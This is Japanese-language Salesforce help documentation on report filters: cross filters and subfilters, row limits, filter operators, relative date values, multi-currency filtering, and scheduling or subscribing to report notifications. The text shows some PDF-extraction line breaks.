マトリックスレポートでは、[項目] ペインから [条件] ペインに項目をドラッ
グして、レポート検索条件を追加できます。

Boolean 条件を追加し、項目の絞り込みをどう評価するか制御します。検索条
件ロジックを適用する前に、項目の絞り込みを少なくとも 1 つ追加する必要
があります。

検索条件ロジック

「関連する」条件または「関連しない」条件を使用し、子オブジェクトでレ
ポートを絞り込みます。さらに子オブジェクトの項目で絞り込むには、サブ

クロス条件

条件を追加します。たとえば、クロス条件「取引先 関連する 商談」を指定
した場合、[商談の検索条件を追加] をクリックしてサブ条件「商談名 次の文
字列と一致する ACME」を作成し、条件に一致する商談のみを含めます。

表形式レポートでは、表示する行の最大数を選択してから、並び替えする項
目と並び替え順を選択します。表形式レポートが返す行数を制限すると、表

行制限

形式レポートをダッシュボードテーブルコンポーネントまたはグラフコン
ポーネントのソースレポートとして使用できます。

例: クロス条件を使用した関連オブジェクトのレポート
クロス条件を使用して、関連するオブジェクトのレコードを含めたり除外したりすることで、式やコード
を記述しなくても結果を細かく調整できます。クロス条件は、クロス条件のみ、または項目検索条件と組
み合わせて適用できます。
例: レポート検索条件での行の制限の使用
これは、項目の絞り込み、検索条件ロジック、および行の制限を使用するレポート検索条件のサンプルで
す。
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例: クロス条件を使用した関連オブジェクトのレポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

クロス条件を使用して、関連するオブジェクトのレコードを含めたり除外した
りすることで、式やコードを記述しなくても結果を細かく調整できます。クロ
ス条件は、クロス条件のみ、または項目検索条件と組み合わせて適用できます。
レポートの検索条件を変更するには、マウスポインタを置いて [編集]または [削
除]をクリックします。レポートを実行すると検索条件が表示され、そのページ
で [編集] をクリックすると、さらに変更できます。
さらに子オブジェクトの項目で絞り込むには、サブ条件を追加します。たとえ
ば、クロス条件「取引先 関連する 商談」を指定した場合、[商談の検索条件を
追加]をクリックしてサブ条件「商談名 次の文字列と一致する ACME」を作成し、
条件に一致する商談のみ表示します。各クロス条件には、最大 5 つのサブ条件
を作成できます。
• 各レポートには、最大 3 つのクロス条件を設定できます。
• 各クロス条件には、最大 5 つのサブ条件を設定できます。
• 検索条件ロジックは、項目検索条件にのみ適用され、クロス条件には適用さ

れません。

1. クロス条件の作成
レポート結果から関連するオブジェクトや項目に基づいてレコードを絞り込
んだり除外したりするには、クロス条件を使用してください。

2. 例: クロス条件での「関連する」の使用
クロス条件では、「関連する」条件を使用してオブジェクトの子オブジェクトでレポートを絞り込みます。
たとえば、ケースが関連する取引先のみ表示するようにレポートを絞り込みます。

3. 例: クロス条件での「関連しない」の使用
クロス条件では、「関連しない」条件を使用してオブジェクトの子オブジェクトでレポートを絞り込みま
す。たとえば、活動が関連しない取引先責任者のみ表示するようにレポートを絞り込みます。

4. 例: 複数のクロス条件の使用
クロス条件では、「関連する」条件と「関連しない」条件の両方を使用してオブジェクトの子オブジェク
トでレポートを絞り込みます。たとえば、ケースが指定されている取引先は表示するが、活動が指定され
ていない取引先は表示しないようにレポートを絞り込みます。

5. クロス条件の使用のヒント
クロス条件は、通常の条件と同様に機能します。ただし、クロス条件には独自の特性がいくつかあります。
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クロス条件の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

レポート結果から関連するオブジェクトや項目に基づいてレコードを絞り込ん
だり除外したりするには、クロス条件を使用してください。
1. レポートビルダーの [条件] ペインで [追加] > [クロス条件]をクリックします。
2. ドロップダウンリストから親オブジェクトを選択します。選択した親オブ

ジェクトによって、子オブジェクトリストに表示される関連オブジェクトが
決まります。

ヒント: キャンペーンに基づくレポートタイプでは、親オブジェクトに
レポートタイプの第 2 オブジェクトを指定できます。たとえば、「リー
ドが関連するキャンペーン」レポートでは、親オブジェクトに [キャン
ペーン] または [リード] を指定できます。

3. [関連する] または [関連しない] を選択します。
4. 子オブジェクトをドロップダウンから選択するか、名前で検索します。ド

ロップダウンリストには、選択した親オブジェクトに適合するすべての子オ
ブジェクトが含まれます。

5. 必要に応じて、次の手順でサブ条件を追加します。
a. [関連する子オブジェクトの検索条件を追加] をクリックします。
b. 項目を選択します。項目は、クロス条件の子オブジェクトにより決定さ

れます。たとえば、クロス条件が「取引先 関連する ケース」の場合、サブ条件にケース項目を使用で
きます。

c. 検索条件の演算子を選択します。
d. 値を入力します。

6. [OK] をクリックします。

関連トピック:

例: 複数のクロス条件の使用
例: クロス条件での「関連する」の使用
例: クロス条件での「関連しない」の使用
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例: クロス条件での「関連する」の使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

クロス条件では、「関連する」条件を使用してオブジェクトの子オブジェクト
でレポートを絞り込みます。たとえば、ケースが関連する取引先のみ表示する
ようにレポートを絞り込みます。
カリフォルニアの最近のキャンペーンで数多くの新規顧客を獲得したとします。
これらの顧客のケースをすばやく解決する必要があります。現在ケースが指定
されている取引先を示すレポートを作成できます。
1. 新規レポートを作成します。レポートタイプでは、[取引先と取引先責任者]

をクリックして、[取引先] を選択し、[作成] をクリックします。
2. レポートビルダーの [条件] ペインで、適切な標準検索条件を設定します。
3. 「都道府県(請求先) 次の文字列と一致する CA」を指定した検索条件項目を

作成して、[OK] をクリックします。
4. [追加] > [クロス条件] をクリックして、「取引先 関連する ケース」を指定し

ます。
[レポート実行]をクリックすると、関連付けられているケースがあるカリフォル
ニアの取引先のみが結果に含まれます。

関連トピック:

クロス条件の作成

例: クロス条件での「関連しない」の使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

クロス条件では、「関連しない」条件を使用してオブジェクトの子オブジェク
トでレポートを絞り込みます。たとえば、活動が関連しない取引先責任者のみ
表示するようにレポートを絞り込みます。
カリフォルニアの取引先リストをインポートして、所有者を割り当てる前に取
引先責任者が設定されていない取引先を検索する必要があるとします。
1. 新規レポートを作成します。レポートタイプでは、[取引先と取引先責任者]

をクリックして、[取引先] を選択し、[作成] をクリックします。
2. レポートビルダーの [条件] ペインで、適切な標準検索条件を設定します。
3. 「都道府県(請求先) 次の文字列と一致する CA」を指定した検索条件項目を

作成して、[OK] をクリックします。
4. [追加] > [クロス条件] をクリックして、「取引先 関連しない 取引先責任者」

を指定します。
[レポート実行]をクリックすると、関連付けられている取引先責任者がないカリ
フォルニアの取引先のみが結果に含まれます。

関連トピック:

クロス条件の作成
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例: 複数のクロス条件の使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

クロス条件では、「関連する」条件と「関連しない」条件の両方を使用してオ
ブジェクトの子オブジェクトでレポートを絞り込みます。たとえば、ケースが
指定されている取引先は表示するが、活動が指定されていない取引先は表示し
ないようにレポートを絞り込みます。
たとえば、あなたが営業担当者で、サポートチームにカスタマー取引先に確実
に対応してもらうため、未解決の問題のエスカレーションを含むカスタマー取
引先を確認する必要があるとします。
1. 新規レポートを作成します。レポートタイプでは、[取引先と取引先責任者]

をクリックして、[取引先] を選択し、[作成] をクリックします。
2. レポートビルダーの [条件] ペインで、適切な標準検索条件を設定します。
3. レポートをカスタマー取引先に限定するには、[追加] > [項目の絞り込み] を

クリックして、「種別 次の文字列と一致する カスタマー」と指定します。
4. 取引先に活動がないことを確認するには、[追加] > [クロス条件] をクリック

して、「取引先 関連しない 活動」と指定します。
5. 完了した活動がない取引先のみを表示するには、クロス条件にサブ条件を追

加します。
a. [活動の検索条件を追加]をクリックして、「状況 次の値に一致する 完了」

と指定します。
b. [OK] をクリックします。

6. 現在ケースがある取引先を含めるには、他のクロス条件を追加します。ただし、今回は「取引先 関連する
ケース」と指定します。

7. エスカレーションされなかったケースを除外するには、このクロス条件にサブ条件を追加します。
a. [ケースの検索条件を追加] をクリックして、「種別 次の文字列に一致する 問題」と指定します。
b. [ケースの検索条件を追加]を再度クリックして、今回は、「状況 次の文字列と一致する エスカレーショ

ン済」と指定します。
c. [OK] をクリックします。

レポートを実行すると、レポートには、エスカレーション済のケースを含み、完了した活動を含まないカスタ
マー取引先のみが含まれます。

関連トピック:

クロス条件の作成
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クロス条件の使用のヒント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

クロス条件は、通常の条件と同様に機能します。ただし、クロス条件には独自
の特性がいくつかあります。
• クロス条件を追加すると、レポート作成に時間がかかる可能性があります。

レポートまたはプレビューのタイムアウトを回避するには、検索条件を設定
して、返されるデータを制限します。たとえば、全期間のすべての商談を表
示するのではなく、[表示] の [私の商談] と [範囲] の [当会計四半期] を選
択します。

• クロス条件で利用できるオブジェクトは、選択する親オブジェクトのレポー
トタイプに依存するため、レポートタイプを選択する前に関連する子オブ
ジェクトを検討します。たとえば、パートナーは取引先の子オブジェクトで
あるため、「取引先 関連する パートナー」で絞り込む取引先レポートタイ
プを選択します。

• クロス条件は、選択するレポートタイプと連動して機能します。クロス条件
は、選択するレポートタイプと AND の関係にあります。このため、パート
ナーが設定された取引先のレポートタイプを選択して、クロス条件「取引先
関連しない パートナー」を追加すると、結果には何も含まれません。

関連トピック:

例: 複数のクロス条件の使用
クロス条件の作成
例: クロス条件での「関連する」の使用
例: クロス条件での「関連しない」の使用
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例: レポート検索条件での行の制限の使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

これは、項目の絞り込み、検索条件ロジック、および行の制限を使用するレポー
ト検索条件のサンプルです。
営業幹部が、現在収益を最も上げそうな東京都の取引先はどれであるかを知り
たいとします。
1. [レポート] タブで [新規レポート] をクリックします。
2. [取引先と取引先責任者]を開き、[取引先]を選択して、[作成]をクリックしま

す。
3. 売上高が 1000 万ドルを超えるか、上場している東京都の取引先を探すには、

[追加] > [項目の絞り込み] をクリックして、次の検索条件を追加します。
a. 都道府県(請求先) が東京都
b. 年間売上が 10000000 より大きい
c. 所有権が株式会社

4. 結果に、年商が 1000 万ドルまたは上場している東京都の取引先がすべて含ま
れるようにするには、[追加] > [検索条件ロジック]をクリックして、「1 AND

(2 OR 3)」と入力します。
5. 表形式レポートの結果数を 10 に制限するには、[追加] > [行制限] をクリック

して、「10」と入力します。並び替え項目と並び替え順を選択します。[OK]

をクリックします。
[レポート実行] をクリックすると、結果として、10 行に売上高が 1000 万ドルを
超える東京都の上場企業が表示されます。

関連トピック:

検索条件種別リファレンス
レポートの結果の制限

検索条件の演算子リファレンス
検索条件内の演算子はセンテンス内の動詞に似ています。演算子で、検索条件間の関係を指定します。リスト
ビュー、レポート、ダッシュボード、および一部のカスタム項目に検索条件を設定するときには、次の検索条
件演算子のリストを参照してください。

使用方法演算子

完全一致を求める場合に使用します。例:「作成」「次の文字列と一致する」「今日」。次の文字列と一致
する

入力した値より小さい結果を求める場合に使用します。たとえば、「目標」「＜」「20000」
と入力すると、目標項目が 0 ～ 19,999.99 の範囲に含まれるレコードが返されます。

＜

入力した値を超える結果を求める場合に使用します。たとえば、「目標」「＞」「20000」
と入力すると、目標額が 20,000.01 以上のレコードが返されます。

＞
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使用方法演算子

入力した値に等しいかそれより小さい結果を求める場合に使用します。＜＝

入力した値に等しいかそれより大きい結果を求める場合に使用します。＞＝

入力した値を含まない結果を表示します。この演算子は、空の項目を除外する場合に役
立ちます。例:「メール」「次の文字列と一致しない」「<空白>」。

次の文字列と一致
しない

入力した検索文字列を含み、さらに他の情報を含んでいる場合もある結果を求める場合
に使用します。たとえば、「取引先」「次の文字列を含む」「カリフォルニア」と入力

次の文字列を含む

すると、カリフォルニア旅行、カリフォルニアプロショップ、およびサーフカリフォル
ニアが表示されます。短い検索文字列を入力すると、より長い単語に一致する場合があ
ります。たとえば、「取引先」「次の文字列を含む」「プロ」と入力すると、カリフォ
ルニアプロショップやプロモーションコーポレーションが表示されます。この演算子で
は、大文字と小文字は区別されません。

入力した文字列を含まないレコードを除外します。例:「町名・番地 2(郵送先)」「次の文
字列を含まない」「私書箱」。

次の文字列を含ま
ない

メモ: 検索条件を積み上げ集計項目で指定すると、[次の文字列を含まない] はカン
マ区切り値で「OR」ロジックを使用します。リストビュー、レポート、およびダッ
シュボードでは、[次の文字列を含まない] は「AND」ロジックを使用します。

この演算子では、大文字と小文字は区別されません。

値の先頭の文字列がわかっていて、完全な文字列がわからない場合に使用します。この
演算子では、「次の文字列を含む」よりも検索結果が絞り込まれます。たとえば、「取

次の文字列で始ま
る

引先」「次の文字列で始まる」「カリフォルニア」と入力すると、カリフォルニア旅行、
カリフォルニアプロショップは表示されますが、サーフカリフォルニアは表示されませ
ん。

複数選択リストを選択項目として選択する場合に使用できます。この演算子を使用して、
入力した 1 つ以上の値を含むレコードを検索します。
たとえば、「興味」「次の値を含む」「ホッケー」,「サッカー」,「野球」と入力した場
合、選択した「ホッケー」のみを持つレコード、および入力した 2 つまたは 3 つの値を持
つレコードが表示されます。値の部分一致は結果に含まれません。

次の文字列を含む

複数選択リストを選択項目として選択する場合に使用できます。この演算子を使用して、
入力したどの値も含まないレコードを検索します。
たとえば、「興味」「次の値を含まない」「ワイン」,「ゴルフ」と入力した場合、選択
リスト値以外の値を含むレコード (空白レコードを含む) がレポートに表示されます。値
の部分一致は結果に含まれません。

次の値を含まない

ダッシュボード検索条件にのみ使用できます。値の範囲を絞り込むときに使用します。
各範囲に対して絞り込みを行い、最小値以上かつ最大値未満の結果を返します。
たとえば、「従業員数次の値の間 100 と 500」と入力した場合、結果には、従業員が 100

人から 499 人の取引先が含まれます。従業員が 500 人の取引先は結果に含まれません。

次の値の間
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相対日付検索条件の参照
相対日付検索条件を使用すると、人の話し言葉に似たわかりやすい構文を使用して日付項目で絞り込むことが
できます。
たとえば、Close Date greater than Jan 1, 2016 で絞り込む代わりに、Close Date equals this

year のように相対日付を使用して絞り込みます。

メモ: 相対日付検索条件の演算子の大文字と小文字は考慮されません。今年、今年、および this year

のどれも同様に機能します。

範囲相対日付値

昨日の 12:00:00 AM から、その 24 時間後までが指定されます。昨日

本日の 12:00:00 AM から、その 24 時間後までが指定されます。今日

翌日の 12:00:00 AM から、その 24 時間後までが指定されます。明日

先週の最初の日の 12:00:00 AM から、その 7 日後までが指定されま
す。

先週

今週の最初の日の 12:00:00 AM から、その 7 日後までが指定されま
す。

今週

来週の最初の日の 12:00:00 AM から、その 7 日後までが指定されま
す。

来週

n 週間前の週の最初の日の 12:00:00 AM から先週の最終日の 11:59 PM

までが指定されます。
過去 n 週間

翌週の最初の日の 12:00:00 AM から n × 7 日間が指定されます。翌 n 週間

n週間前の週の最初の日の 12:00:00 AM から 7 日間が指定されます。n 週前

先月の最初の日の 12:00:00 AM から、その月のすべての日が指定さ
れます。

先月

今月の最初の日の 12:00:00 AM から、その月のすべての日が指定さ
れます。

今月

来月 1 日の 12:00:00 AM から、nか月後の月末日までのすべての日が
指定されます。

翌 n か月

n か月前の月の最初の日の 12:00:00 AM から先月の最終日の 11:59 PM

までが指定されます。
過去 n か月

nか月前の月の最初の日の 12:00:00 AM から、その月のすべての日が
指定されます。

n か月前

来月の最初の日の 12:00:00 AM からその月のすべての日が指定され
ます。

来月
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範囲相対日付値

本日の 90 日前の 12:00:00 AM から、現在 (秒) までが指定されます (範
囲には本日も含まれます)。

過去 90 日間

翌日の 12:00:00 AM から、その 90 日後までが指定されます (範囲に
は本日は含まれません)。

翌 90 日間

本日の n 日前の 12:00:00 AM から、現在 (秒) までが指定されます (範
囲には本日も含まれます。この日付値を使用すると、n + 1 日前
から本日までのレコードが含まれます)。

過去 n 日間

翌日の 12:00:00 AM から、n 日間が指定されます (範囲には本日は含
まれません)。

翌 n 日間

n日前の 12:00:00 AM から 24 時間が指定されます (範囲には本日は含
まれません)。

n 日前

前カレンダー四半期最初の日の 12:00:00 AM から、その四半期の終
わりまでが指定されます。

前四半期

当カレンダー四半期最初の日の 12:00:00 AM から、その四半期の終
わりまでが指定されます。

当四半期

翌カレンダー四半期最初の日の 12:00:00 AM から、その四半期の終
わりまでが指定されます。

翌四半期

n 四半期前のカレンダー四半期最初の日の 12:00:00 AM から、前カ
レンダー四半期の終わりまでが指定されます (範囲には当期は含ま
れません)。

過去 n 四半期

翌カレンダー四半期最初の日の 12:00:00 AM から、n 期後のカレン
ダー四半期の終わりまでが指定されます (範囲には当期は含まれま
せん)。

翌 n 四半期

n カレンダー四半期前のカレンダー四半期最初の日の 12:00:00 AM

から、その四半期の終わりまでが指定されます。
n 四半期前

昨年の 1 月 1 日 12:00:00 AM から、その年の 12 月 31 日の終わりまで
が指定されます。

昨年

今年の 1 月 1 日 12:00:00 AM から、その年の 12 月 31 日の終わりまで
が指定されます。

今年

来年の 1 月 1 日 12:00:00 AM から、その年の 12 月 31 日の終わりまで
が指定されます。

来年

n カレンダー年前の 1 月 1 日 12:00:00 AM から、その年の 12 月 31 日
の終わりまでが指定されます。

n 年前

n+1 年前の 1 月 1 日 12:00:00 a.m. から開始します。範囲は今年より
1 年前の 12 月 31 日に終了します。

過去 n 年間
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範囲相対日付値

来年の 1 月 1 日 12:00:00 AM から、n 年後の 12 月 31 日の終わりまで
が指定されます。

翌 n 年間

直前の会計四半期の最初の日の 12:00:00 AM から、その会計四半期
の最終日までが指定されます。会計四半期は、[設定] の [会計年度]

ページで定義されます。

前会計四半期

メモ: モバイルカスタムビューを作成するとき、会計日付項
目のリテラル値はいずれもサポートされません。

現在の会計四半期の最初の日の 12:00:00 AM から、その会計四半期
の最終日の終わりまでが指定されます。会計四半期は、[設定] の
[会計年度] ページで定義されます。

当会計四半期

直後の会計四半期の最初の日の 12:00:00 AM から、その会計四半期
の最終日までが指定されます。(範囲には当期は含まれません)。会
計四半期は、[設定] の [会計年度] ページで定義されます。

翌会計四半期

n 期前の会計四半期の最初の日の 12:00:00 AM から、当期の直前の
会計四半期の最終日の終わりまでが指定されます (範囲には現在の

過去 n 会計四半期

会計四半期は含まれません)。会計四半期は、[設定] の [会計年度]

ページで定義されます。

直後の会計四半期の最初の日の 12:00:00 AM から、n 期後の会計四
半期の最終日の終わりまでが指定されます (範囲には現在の会計四

翌 n 会計四半期

半期は含まれません)。会計四半期は、[設定] の [会計年度] ページ
で定義されます。

n 会計四半期前の会計四半期最初の日の 12:00:00 AM から、その会
計四半期の最終日の終わりまでが指定されます。

n 会計四半期前

直前の会計年度の最初の日の 12:00:00 AM から、その会計年度の最
終日の終わりまでが指定されます。会計四半期は、[設定] の [会計
年度] ページで定義されます。

前会計年度

現在の会計年度の最初の日の 12:00:00 AM から、その会計会計年度
の最終日の終わりまでが指定されます。会計四半期は、[設定] の
[会計年度] ページで定義されます。

当会計年度

直後の会計年度の最初の日の 12:00:00 AM から、その会計年度の最
終日の終わりまでが指定されます。会計四半期は、[設定] の [会計
年度] ページで定義されます。

翌会計年度

n 年前の会計年度の最初の日の 12:00:00 AM から、現在の直前の会
計年度の最終日の終わりまでが指定されます (範囲には現在の会計

過去 n 会計年度

年度は含まれません)。会計四半期は、[設定] の [会計年度] ページ
で定義されます。
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範囲相対日付値

直後の会計年度の最初の日の 12:00:00 AM から、n 期後の会計年度
の最終日の終わりまでが指定されます (範囲には現在の会計年度は

翌 n 会計年度

含まれません)。会計四半期は、[設定] の [会計年度] ページで定義
されます。

n 会計年度前の会計年度最初の日の 12:00:00 AM から、その会計年
度の最終日の終わりまでが指定されます。

n 会計年度前

項目と値の種別による条件検索に関する留意事項
テキスト項目、日付項目、数値、選択リスト値、空白または null 値で絞り込むときは、次のヒントを参考にし
てください。

テキスト項目による条件検索
• 複数の値で絞り込むには、検索条件をカンマで区切ります。たとえば、東京、大阪、愛知のいずれかにい

る取引先を検索する場合は、「都道府県 次の文字列を含む 東京, 大阪, 愛知」と入力します。
• 検索条件は大文字と小文字を区別しません。たとえば、「ID を含む州」を検索すると、「ID」に一致する

すべての結果が返されますが、「id」を名前に含む「フロリダ」や「アイダホ」なども返されます。
• [説明] や [ソリューション詳細] など、標準ロングテキストエリア項目で絞り込む場合は、項目の先頭の 1000

文字だけが検索に使用されます。カスタムロングテキストエリア項目でレポートを絞り込むことはできま
せん。リストビューのカスタムロングテキストエリア項目では、先頭の 255 文字だけが表示されます。

日付項目による条件検索
• 日付を入力する場合は、[ロケール] の設定で規定されている形式で入力します。[今日]、[来週]、[来年]、

[過去 N 日間] などの特別な日付値も使用できます。

数値による条件検索
• カンマを含む数値やその他のデータは、引用符で囲みます。たとえば、「金額 次の文字列と一致する

"10,000"」と指定すると金額が $10,000 のレコードが返されますが、「金額 次の文字列と一致する 10,000」
と指定すると金額が $10,000、$10 および $0 のレコードが返されます。

• 電話番号を検索する場合は、「電話 次の文字列で始まる (561)」のように、電話番号の形式を正確に入力
します。

選択リスト値による条件検索
• 複数選択の選択リスト項目で検索する場合、値の間にセミコロンを入れて完全一致を指定します。

たとえば、「次の文字列と一致する」を選択し、2 つの値の間にセミコロンを入れると、指定した両方の値
を含み、その他の値は一切含まないレコードが検索されます。
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• 組織でレコードタイプを使用している場合は、ルックアップダイアログに、すべてのレコードタイプに適
用される選択リスト値が表示されます。これらの検索条件に対して、「次の文字列と一致する」または「次
の文字列と一致しない」演算子を使用します。

メモ: 検索条件として使用する選択リスト値のラベルを変更すると、その選択リスト値は自動的に検
索条件から削除されます。たとえば、レポートに「[リードソース] [次の文字列と一致する] [Web]」
という検索条件がある場合に、選択リスト値「Web」を「参照元」に変更すると、レポートの検索条
件は「リードソース 次の文字列と一致する メール」に変わります。検索条件に選択値が 1 つしか指定
されていない場合にその値を変更すると、その値は引き続き検索条件に表示されますが、エラーメッ
セージが表示されます。

空白または null 値による条件検索
• 数値を持つ項目で「＜」、「＞」、「＜＝」、または「＞＝」演算子を使用するとき、値が空白または

「null」であるレコードは、値がゼロ (0) であるものとして返されます。たとえば、「年間売上 ＜ 100000」
という条件を持つ取引先に対してワークフロールールまたはリードの割り当てルールを作成した場合、[年
間売上] が空白である取引先レコードは条件に一致します。
ただし、項目値が空白であるレコードは、レポート検索条件、カスタムリストビュー、および (取引先をテ
リトリーに割り当てている) 取引先割り当てルールの値が一致しているとはみなされません。

• 特定の項目が空白か、項目に「null」値が含まれているデータだけをレポートに表示する場合は、対象とな
る項目および「次の文字列と一致する」か「次の文字列と一致しない」演算子を選択し、検索条件値を空
白のままにします。たとえば、「金額 次の文字列と一致する」と指定すると、金額の項目が空白のレコー
ドが返されます。空白の値の検索と他の指定値の検索を、同時に実行することができます。たとえば、「金
額 次の文字列と一致する 1,,2」と指定すると、[金額] が空白か、値が「1」または「2」となっているレ
コードが返されます。

マルチ通貨での検索のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織でマルチ通貨を使用している場合の通貨項目の検索のヒント
組織でマルチ通貨を使用している場合に、より効果的な条件を作成するには、
次の手順を実行します。
• 特定の通貨の項目を検索するには、[通貨] 項目を使用します。たとえば、

「商談通貨 次の文字列と一致する AUD」と入力すると、金額をオーストラリ
アドルで表示する商談が検索されます。

• 金額の前に通貨コードを付けて、「[年間売上] > [USD 50000000]」のよ
うに入力します。
通貨コードを指定しないと、すべての金額はユーザの通貨単位であるとみな
されます。たとえば、ユーザの通貨が米国ドルである場合、「年間売上 ＞
50000000」と入力した場合は、50,000,000 米国ドルを意味します。
ユーザの通貨が無効な場合、マスタ通貨が使用されます。
[設定] から、[クイック検索] ボックスに「通貨の管理」と入力し、[通貨の管理]を選択して、通貨コードを
取得します。
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• すべての金額はマスタ通貨に変換されて比較されます。たとえば、「[年間売上] > [USD 50000000]」と
入力すると、売上金額が 5,000 万米国ドルより大きい取引先が検索されます。これには、売上金額が 1 億 4

千万オーストラリアドルの取引先が含まれます (変換レートを 1.9 と仮定すると、6 千万米国ドルに相当)。
• レポートの金額はそれぞれのオリジナルの通貨で表示され、レポートの合計金額は個人設定の通貨で表示

されます。[表示] > [通貨]をクリックして、レポートの合計に使用する通貨を変更できます。すべての金額
に対して、「換算値」列を表示するように選択できます (「年間売上 (換算値) 」など)。換算値列には、[次
の通貨で表示する] ドロップダウンリストから選択した通貨で金額が表示されます。

関連トピック:

項目と値の種別による条件検索に関する留意事項

レポートのスケジュールと登録

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レポートのスケジュールと登録を行い、手動でレポートを実行せずに、最も関
心のある総計値について常に情報を把握するための通知を受信します。Salesforce

Classic で、レポート通知をトリガする条件を指定できます。

1. Lightning Experience で更新されたレポート結果の受信登録
Lightning Experienceでは、レポートを最大 5 個まで登録でき、更新されたレポー
ト結果を設定した日、週、または月単位のスケジュールどおりにメールで受
信できます。

2. Salesforce Classic でのレポート通知の受信登録
Salesforce Classic で、最も関心のある総計値が特定の条件を満たすと、レポー
ト通知を定期的に受信するレポートを登録します。通知をトリガする条件を
設定し、Salesforce1通知、Chatter、メールのいずれで通知を受信するかを指定
します。

3. Salesforce Classic でのレポートのスケジュール
毎日、毎週、または毎月、レポートが自動的に実行され、その結果を参照する必要のあるユーザに自動的
に送信されるように設定すれば、自分でログインし、レポートを開始するよう覚えておく必要がなくなり
ます。
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Lightning Experience で更新されたレポート結果の受信登録

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning Experience でレ
ポートを登録する
• 「レポートの登録」

Lightning Experienceでは、レポートを最大 5 個まで登録でき、更新されたレポート
結果を設定した日、週、または月単位のスケジュールどおりにメールで受信で
きます。
たとえば、毎週月曜日の朝、デスクに着いたら、ケースの概要レポートを実行
してケースの優先度を判断します。レポートを手動で実行する代わりに、レポー
トを登録し、毎週月曜日の朝の午前 8:00 にメールで受信できるようにします。
1. [レポート] タブまたはレポート実行ページから、[ ] > [登録] をクリックし

ます。
レポートをすでに登録していて、スケジュールを変更する場合、レポートの
[登録] を再度クリックします。

2. [登録の編集] モーダルから、登録スケジュールを設定します。
チームがその日にクローズしたケースを確認するには、ケースレポートを毎
日午後 5:00 に受信します。

3. [保存] をクリックします。
4. 通知を受信する準備が完了したら、登録が有効であることを確認します。
5. [保存] をクリックします。
レポート登録が開始されます。設定したスケジュールに従ってレポート結果のメール受信を開始してくださ
い。
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Salesforce Classic でのレポート通知の受信登録

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce Classic でレポー
トを登録する
• 「レポート実行」

Salesforce Classic レポート
通知登録を有効化または
無効化する
• 「アプリケーションの

カスタマイズ」

Salesforce Classicで、最も関心のある総計値が特定の条件を満たすと、レポート通
知を定期的に受信するレポートを登録します。通知をトリガする条件を設定し、
Salesforce1 通知、Chatter、メールのいずれで通知を受信するかを指定します。
たとえば、未解決の問題のレポートを登録し、未解決の問題が 20 件を超えた場
合に毎朝通知を受信することができます。最大 5 個のレポートの通知を登録で
きます。

メモ: 保存されていないレポートの場合、レポート通知は使用可能なオプ
ションとして表示されません。登録する前にレポートを保存してください。
個人用レポート通知は、条件を指定せずにレポートを指定の時間にメール
で送信できる実行のスケジュール機能には関連していません。メールで送
信されるレポートをスケジュールするには、[レポート実行] ドロップダウ
ンメニューから [実行のスケジュール] を選択します。

1. [レポート実行] ページで、[登録] をクリックします。
2. [レポートの登録] ページで、条件が満たされるたびに通知を受信するか、初

回のみに通知を受信するかを選択します。
3. 各条件の集計、演算子、値の 3 つを指定します。

たとえば、合計金額が 100 万ドル未満の場合に通知がトリガされるようにし
ます。
• 集計 – 条件の基本となる総計値。レコード件数、平均値、最小値、最大

値、合計値のいずれかを使用できます。
• 演算子 – 比較の基本 (等号、不等号、より大きいなど)。
• 値 – 比較するために集計する数値。
レポートの実行時に条件が評価され、すべての条件に合致すると通知が送信されます (レポートあたり最大
5 つの条件)。

4. 条件を評価する頻度 (平日、毎日、毎週) と時間をスケジュールします。
たとえば、平日の午前 7 時にレポートを実行します。

5. 通知種別を 1 つ以上選択します。
• Salesforce1 アプリケーション内通知を送信する。
• Chatter に投稿する。
• メール通知を送信する。
• カスタム Apex アクション (ToDo の作成やケースのエスカレーションなど) を実行する。

カスタム Apex クラスの作成についての詳細は、『Apex 開発者ガイド』を参照してください。

6. 通知を受信する準備が完了したら、登録が有効であることを確認します。
7. [保存] をクリックして、通知をスケジュールします。
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例: レポートは、平日の午前 7 時に実行されるようにスケジュールされています。合計値が 1,000,000 より
も小さい場合、Salesforce1 通知が送信され、Chatter 投稿が作成されます。

関連トピック:

